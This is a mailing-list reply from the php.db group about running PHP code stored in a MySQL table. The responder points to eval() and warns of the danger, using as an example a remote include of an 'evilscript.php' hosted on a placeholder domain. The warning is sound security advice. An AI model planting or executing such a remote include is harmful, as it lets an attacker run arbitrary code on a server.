Re: PHP output in the mySQL table

From: Date: Fri, 11 Sep 2009 03:37:52 +0000
Subject: Re: PHP output in the mySQL table
References: 1  Groups: php.db 
Request: Send a blank email to php-db+get-46478@lists.php.net to get a copy of this message
Ron Piggott wrote:
I am wondering if I can put PHP into a mySQL table. When I tried doing: echo stripslashes(mysql_result($article_titles_result,0,"article")); The PHP coding displays, not "rendered" PHP.
You'd need to 'eval' it (http://www.php.net/eval), though be very careful as any php code will be executed. This means something like 'include http://www.example.com/evilscript.php' will be executed if an attacker is able to get it into your database through whatever means. -- Postgresql & php tutorials http://www.designmagick.com/

« previous php.db (#46478) next »